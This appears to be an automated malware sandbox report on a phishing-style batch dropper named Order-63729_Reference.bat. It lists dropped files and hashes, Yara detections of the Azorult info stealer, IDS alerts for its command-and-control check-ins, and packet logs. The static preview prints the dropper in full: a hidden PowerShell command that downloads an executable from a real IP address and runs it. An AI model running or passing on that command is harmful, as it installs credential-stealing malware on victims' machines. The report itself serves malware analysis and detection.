SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\678557889490724568831.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\67856257760153941723665.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\67857189382664744081836.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.303653723841785
Encrypted:	false
SSDEEP:	3072:KExRaQ6raoCoCyz6/mqv1JR+yBtGOeaeWgivq:faO1tme++wiS
MD5:	27864DD446F03F806B26031D97E3377B
SHA1:	18688DE552635BFBE9B3AFAE166B1D86D41ECCC4
SHA-256:	94D346E862D5850B5D19AEFD5053191C47975B2D233958F5145F0390D42C1FBD
SHA-512:	014A27AB976725E15638488AEA3A293AADCCB6B9FB34CC54AE1ED3510A662A6562BF3F4B4E7C8CB90A7BED5FBD63FA13353E52E8270105A7EF4764B83FB867E6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: unknown Rule: Azorult_1, Description: Azorult Payload, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: kevoreilly Rule: Azorult, Description: detect Azorult in memory, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: JPCERT/CC Incident Response Group
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................$....................@..............................................@..............................................................\...................................................................................CODE................................ ..`DATA....l...........................@...BSS......................................idata..............................@....reloc..\...........................@..P............................................................................@..P........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixacekdo.cvv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lsk1ahqb.5cf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.170887250116096
TrID:
File name:	Order-63729_Reference.bat
File size:	208 bytes
MD5:	1959937c119d4b66dd48d8067850f50d
SHA1:	83c9104b1aa305fe13d1321cda6a2cabbb9241fc
SHA256:	e512ec36ea716c5a62c1a24fb8b794c4e6a0db4c5c7ed1d16025400428622cc2
SHA512:	a9b2230f6b2e0a59a2b8b8697e7beb6379a65cc0831108d6e342970e8a1fb6e4e307080053035e26f28fa62d2b1c8ccbc7927c2cf2c7e6523238d0dcf9f6b956
SSDEEP:	6:hSGnyTJgeCx1DrLTFP76wCuAouIMFyFP76wCuAzBs:0GnSJwDfhP7qouIMUP7qz2
TLSH:	37D023357454006F8535452D75D63AD760D783B242B451C4B1392434C4C8551EF80117
File Content Preview:	@echo off..powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe..del /F $0..

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T05:02:55.777164+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49705	172.67.159.45	80	TCP
2024-10-03T05:02:55.777164+0200	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.5	49705	172.67.159.45	80	TCP
2024-10-03T05:02:56.029936+0200	2029136	ET MALWARE AZORult v3.3 Server Response M1	1	172.67.159.45	80	192.168.2.5	49705	TCP
2024-10-03T05:03:00.636873+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49706	172.67.159.45	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 05:02:52.793879986 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:52.799252033 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:52.799350023 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:52.893882990 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:52.933378935 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519032955 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519062996 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519079924 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519094944 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519110918 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519128084 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519144058 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519140005 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.519140005 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.519159079 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519176006 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519195080 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.519223928 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.519223928 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.519251108 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.524461031 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.524503946 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.524555922 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.626429081 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.626846075 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.626871109 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.626910925 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.626923084 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.627099037 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.640275002 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.640297890 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.640315056 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.640331030 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.640346050 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.640383959 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.649154902 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.649179935 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.649197102 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.649214029 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.649225950 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.649230957 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.649257898 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.656640053 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.656666994 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.656683922 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.656698942 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.656713009 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.656740904 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.662173033 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.662198067 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.662211895 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.662229061 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.662231922 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.662245989 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.662264109 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.662265062 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.662290096 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.712927103 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.713054895 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.713072062 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.713087082 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.713123083 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.713143110 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.717878103 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.717912912 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.717946053 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.718015909 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.718051910 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.718074083 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.718085051 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.718139887 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.722613096 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.722630024 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.722667933 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.722729921 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.722747087 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.722791910 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.727554083 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727590084 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727622986 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727638006 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.727657080 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727689028 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727710962 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.727724075 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727760077 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727778912 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.727792978 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727826118 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727838993 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.727878094 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727911949 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727926970 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.727946043 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.727978945 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728002071 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728012085 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728040934 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728055954 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728069067 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728070974 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728085995 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728101969 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728111982 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728116989 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728132963 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728136063 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728152990 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728154898 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728169918 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728184938 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728199959 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728199959 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728215933 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728230953 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728231907 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728249073 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.728260994 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.728297949 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.751589060 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.751606941 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.751621962 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.751656055 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.751703024 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.751718998 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.751733065 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.751754999 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.751782894 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.829070091 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.829103947 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.829119921 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.829134941 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.829152107 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.829155922 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.829168081 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.829181910 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.829186916 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.829205036 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.830147028 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830172062 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830188036 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830199003 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.830204010 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830219984 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830229998 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.830238104 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830255985 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830265045 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.830272913 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830290079 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830301046 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.830308914 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.830324888 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.831779003 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.831804991 CEST	8030	49704	217.160.121.141	192.168.2.5
Oct 3, 2024 05:02:53.831835032 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:53.885935068 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:54.119935989 CEST	49704	8030	192.168.2.5	217.160.121.141
Oct 3, 2024 05:02:54.180660009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:54.186256886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:54.186484098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:54.186484098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:54.191932917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.776928902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.776982069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777018070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777051926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777086973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777121067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777156115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777163982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777163982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777163982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777163982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777164936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777164936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777189016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777224064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777252913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777252913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777280092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.777302027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.777528048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.782418966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.782468081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.782502890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.782584906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.868817091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.868861914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.868920088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.868957996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.868988037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:55.869035006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.869035006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.869035006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.869035006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:55.869035006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.026887894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.026913881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.026923895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.026932001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027034044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027079105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027098894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027124882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027148008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027215958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.027215958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.027215958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.027215958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.027796984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027885914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027906895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027945042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027966022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.027995110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.027995110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.027995110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.027995110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.028091908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.028695107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.028748989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.028784037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.028800964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.028835058 CEST	49705	80	192.168.2.5	172.67.159.45
